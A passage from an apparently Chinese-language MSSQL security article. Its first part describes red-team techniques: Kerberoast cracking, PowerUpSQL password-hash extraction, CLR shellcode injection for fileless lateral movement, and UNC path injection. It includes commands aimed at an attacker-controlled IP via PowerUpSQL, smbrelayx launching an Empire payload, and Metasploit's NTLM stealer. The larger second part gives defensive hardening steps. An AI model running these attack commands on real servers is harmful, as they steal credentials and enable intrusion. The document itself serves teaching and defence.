 

匯出的票據會儲存到當前目錄的kirbi檔案。

 

 

利用kerberoast中的tgsrepcrack.py指令碼,離線破解NTLM Hash。

 

PowerUpSQL中使用Get-SQLServerPasswordHash,可自動提取SQL登入密碼雜湊:

1
2
import-module .\PowerUPSQL.psd1
Get-SQLServerPasswordHash -Verbose -Instance 'SQLServerName\InstanceName' -Migrate

CLR實現無檔案落地橫向移動

David CashMSSQL Lateral Movement介紹了SQL Server中使用CLR自動執行橫向移動而無檔案落地和不需要xp_cmdshell,以及如何防止被檢測到。

 

CLR相關的介紹在上文已經介紹,在此不再贅述。通常為實現命令執行而對MSSQL服務進行後期開發通常會利用XP_CMDSHELL儲存過程在MSSQL程式的上下文中執行作業系統命令。要使用此技術執行自定義程式碼,通常需要使用LOLBINS,新增新的作業系統使用者或透過BCP寫入磁碟的二進位制檔案,這提供了明顯的檢測機會。

 

SQL Server服務程式可以執行提供給它的任何.NET程式碼,因此利用.NET程式碼進行橫向移動,僅需要構建適當的DLL。作為概念的證明,為了生成了一個簡單的程式集,該程式集對一些shellcode進行XOR並將其注入到生成的程式中。使用Squeak可以簡化CLR程式碼的建立和呼叫,下面是Squeak具備的一些功能:

  • 展示連線資料

  • 從原始二進位制檔案和單位元組XOR讀取shellcode位元組

  • 生成一個MSSQL CLR DLL,該DLL對shellcode進行XOR,生成一個新程式,然後將shellcode注入其中。

  • 計算DLL的SHA512雜湊

  • 生成帶有硬編碼引數的單個.NET可執行檔案,以透過SQL連線執行DLL –該可執行檔案執行以下操作:

    • 建立一個SQL連線

    • 檢查SQL Server版本

    • 檢查DBA許可權

    • 檢查並記錄現有的安全設定

    • 修改安全設定

    • 建立並執行程式集

    • 恢復安全設定並刪除程式集

使用Squeak可以生成帶有連線字串和CLR程式集的獨立可執行檔案。CLR程式集的程式碼是從本地目錄中的檔案中載入,可以直接開啟檔案,也可以在工具中對其進行編輯。

UNC路徑注入

UNC用於訪問遠端檔案伺服器,格式為\ip\file,如果我們可以執行這個功能,則可以強制SQL Server向我們進行身份驗證,並且可以獲得SQL Server服務帳號的NTLM密碼雜湊。

 

可以透過以下方式實現自動化:

  • PowerUpSQL的Get-SQLServiceAccountPwHashes指令碼
  • SQL NTLM Hash:
1
2
3
4
import-module .\PowerUpSQL.ps1`
Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1
Import-Module C:\PowerUpSQL-master\Scripts\pending\Get-SQLServiceAccountPwHashes.ps1
Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_ip
  • 使用smbrelayx(impacket)
1
python smbrelayx.py -h sqlserverIP -c 'powershell empire launcher'
  • metasploit的SQL NTLM Hash:
1
2
3
4
5
msf > use auxiliary/admin/mssql/mssql_ntlm_stealer
set SMBPROXY attackerIP
set RHOST webappwithsqliIP
set GET_PATH pathtosqli
run

防守方如何應對

賬號管理

查詢目前所有使用者列表

1
select name,password from syslogins order by name

 

為不同的管理員分配不同的賬號

 

按照使用目的進行分配賬號,避免不同使用者間共享賬號,提高安全性。或在企業管理器中直接新增遠端登陸使用者建立角色,並給角色授權,把角色賦給不同的使用者或修改使用者屬性中的角色和許可權。

 

新增不同使用者,參考配置操作:

1
2
sp_addlogin 'user1','password1'
sp_addlogin 'user2','password2'

刪除或鎖定無效賬號

 

刪除冗餘的系統預設賬號,減少系統安全隱患,參考配置操作。

1
Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 登入名 -> 選擇要刪除的使用者名稱(右鍵)

 

限制啟動賬號許可權

 

啟動mssql的使用者許可權過高,會導致其子程式具有相同許可權,參考配置操作:

1
Microsoft SQL Server Management Studio -> SQL Server ->屬性(右鍵) -> 安全性

新建SQL server服務賬號後,建議將其從User組中刪除,且不要把該賬號提升為Administrators組的成員,授予以賬戶最少啟動許可權。

 

認證授權

許可權最小化

 

在資料庫許可權配置能力內,根據使用者的業務需要,配置其所需的最小許可權,參考配置操作:

1
Microsoft SQL Server Management Studio -> SQL Server -> 屬性(右鍵) -> 安全性

 

資料庫角色

 

使用資料庫角色(ROLE)來管理物件的許可權,參考配置操作:

1
Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 伺服器角色(右鍵)-> 新伺服器角色

調整角色屬性中的許可權,賦予角色中擁有物件對應的SELECT、INSERT、UPDATE、DELETE、EXEC、DRI許可權

 

 

是否存在空密碼使用者

 

對所有賬戶的屬性進行審計,包括空密碼、密碼更新時間等。修改目前所有賬號的口令,確認為強口令。特別是sa賬號。

1
2
select * from sysusers
select name,Password from syslogins where password is null order by name  # 檢視口令為空的使用者

 

使用sp_password更新使用者密碼,特別是sa 賬號,需要設定至少10位的強口令。

1
exec sp_password 'old_passwd', 'new_passwd', sa

鎖定特權

 

預設情況下,SQL Server安裝會在模型資料庫之外的所有資料庫中授予guest帳戶公共角色成員身份。 建議在Windows中禁用guest帳戶,並撤消其對除master和tempdb之外的所有資料庫的訪問許可權。參考配置操作,使用以下命令刪除資料庫訪問許可權

1
2
use msdb;
exec sp_revokedbaccess guest;

 

Public不應訪問Web任務表,因為它們可以使表資料可供Web客戶端使用。 特權應被撤銷:

1
2
revoke update on mswebtasks to public
revoke insert on mswebtasks to public

Microsoft資料轉換服務(DTS)程式包是一組COM介面,可用於在SQL Server上使用以下命令執行許多管理任務:T-SQL,Windows指令碼和可執行工具。 預設情況下,企業管理器使用者可以訪問可用DTS軟體包列表。 過程spenum dtspackages將顯示可以輸入到sp_get_dtspackage中的軟體包名稱和ID號,這將返回軟體包資料。 然後,攻擊者可能會將程式包放入他的SQL Server本地安裝中,並檢視程式包詳細資訊,其中通常包含其他伺服器的憑據。 這些程式的特權應被刪除:

1
2
revoke execute on sp_enum_dtspackages to public
revoke execute on sp_get_dtspackage to public

sp_get_SQLAgent_properties儲存過程,用於顯示SQL Server代理服務連線到資料庫伺服器的混淆密碼。 使用此工具(http://jimmers.narod.ru/agent_pwd.c)可以解混淆。 應刪除此程式的許可權:

1
revoke execute on sp_get_SQLAgent_properties to public

Microsoft資料轉換服務(DTS)用於處理來自多個源(例如OLE DB,ODBC或文字檔案)的資料。 連線密碼以明文形式儲存在Col11120列的表RTblDBMProps中,因此任何具有選擇特權的人都可以檢索到。 使用以下命令鎖定此表的許可權:

1
2
3
4
revoke select on RTblDBMProps to public
revoke update on RTblDBMProps to public
revoke insert on RTblDBMProps to public
revoke delete on RTblDBMProps to public

配置日誌審計

開啟日誌審計功能

 

資料庫應配置日誌功能,對使用者登入進行審計,日誌內容包括使用者登入使用的賬號、登入是否成功、登入時間等。

 

開啟資料庫屬性,檢視安全性,將伺服器身份驗證調整為“SQL Server 和Windows身份驗證模式” ,安全性中的登入稽核調整為“失敗和成功的登入”。

1
Microsoft SQL Server Management Studio -> SQL Server(右鍵) -> 屬性 -> 安全性

 

或者透過將以下注冊表值設定為2(將其設定為3還將記錄成功的登入):

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\AuditLevel

配置網路通訊協議

禁用不必要的網路服務

 

SQL Server使用的網路通訊協議應限制為最小基礎架構所需。 禁用SQL Server執行冗餘服務。 啟用陌生的網路通訊協議,可能增加資料庫網路風險。TCP/IP是最常用的用於SQL Server的網路協議棧,它與SSL一起為訪問SQL Server提供安全的基礎。

 

Microsoft SQL Server程式組, 執行服務網路實用工具。建議只使用TCP/IP協議,禁用其他協議。

1
SQL Server Configuration Manager -> SQL Server網路配置 -> MSSQLSERVER的協議

 

加固TCP/IP協議棧

 

檢視登錄檔鍵值

1
2
3
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect

參考配置操作

 

對於TCP/IP協議棧的加固主要是某些登錄檔鍵值的修改。主要是以下幾個:

1
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting #說明:該鍵值應設為2,以防禦源路由欺騙攻擊。HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect #說明:該鍵值應設為0,以ICMP重定向。HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect #說明:該鍵值應設為2,防禦SYN FLOOD攻擊。

使用加密通訊協議

 

啟動SQL Server配置工具,啟用“強制協議加密”。

1
SQL Server Configuration Manager -> SQL Server網路配置 -> MSSQLSERVER的協議(右鍵) -> 屬性

刪除不必要的儲存過程

查詢已有的所有的儲存過程

1
select * from sysobjects where xtype='P'

 

或者

1
Microsoft SQL Server Management Studio -> SQL Server -> 資料庫 -> 系統資料庫 -> master(舉例)-> 可程式設計性 -> 儲存過程/擴充套件儲存過程 -> 系統儲存過程/系統擴充套件儲存過程

​ !

 

刪除SQL Server中存在的危險儲存過程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask

刪除不必要的儲存過程,一般情況下建議刪除的儲存過程有:

1
2
3
4
5
6
7
8
9
10
11
12
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
sp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumvalues
xp_regremovemultistring

不是應用程式必須使用時,建議刪除以下儲存過程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
xp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver

刪除不必要的功能和服務

SQL Server的遠端訪問功能,允許網路上的其他SQL Server遠端連線並執行儲存過程。 如果不需要此功能,則應使用以下命令禁用該功能。

1
2
3
4
execute sp_configure 'remote access', '0'
go
reconfigure with override
go

或者使用Microsoft SQL Server Management Studio

1
Microsoft SQL Server Management Studio -> SQL Server(右鍵) -> 屬性 -> 連線

 

配置選項“允許更新”定義資料庫使用者是否可以直接更新系統表。 這對於高階管理員來說可能是有用的臨時功能,但對於正常操作,應該將其禁用:

1
2
3
4
execute sp_configure 'allow updates', '0'
go
reconfigure with override
go

SQL Server Monitor,它偵聽UDP埠1434並提供客戶端不應訪問有關伺服器上存在的例項的資訊,並且SQL Server將在其被阻止的情況下執行。 防火牆或應阻止來自TCP埠1433和UDP埠1434的外部通訊。異構查詢或臨時查詢允許資料庫使用者使用本地資料在遠端伺服器上執行查詢。 該功能可能被濫用以強制使用遠端或本地訪問憑據,應在不需要此功能時,將其禁用:

1
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB', N'DisallowAdhocAccess', N'REG_DWORD', 1

如果不需要,則應禁用SQL Server代理,Microsoft分散式事務處理協調器(MSDTC)和MSSearch服務。 可以使用企業管理器或透過在Windows Services管理工具中將其啟動型別設定為“停止”來關閉服務。

1
Microsoft SQL Server Management Studio -> SQL Server -> 管理

 

或者設定登錄檔值禁用服務:

1
2
3
exec sp_set_sqlagent_properties @auto_start=0
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSDTC', N'Start', N'REG_DWORD', 3
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH', N'Start', N'REG_DWORD', 3

進行這些更改後,應手動停止服務或重新啟動伺服器。

安裝補丁

最後的步驟是確保應用最新的服務包和補丁程式。將顯示SQL Server的當前版本。

1
select @@version

參考連結

https://www.quackit.com/sql_server/tutorial/sql_server_dts.cfm

 

http://www.freetds.org/

 

http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html

 

https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/

 

https://xz.aliyun.com/t/7534

 

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

 

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

 

https://h4ms1k.github.io/Red_Team_MSSQL_Server/#

 

https://security.tencent.com/index.php/blog/msg/154

 

https://www.freebuf.com/articles/es/262903.html

 

https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8

 

https://github.com/nidem/kerberoast

 

https://github.com/gentilkiwi/mimikatz

 

https://github.com/nccgroup/nccfsas

相關文章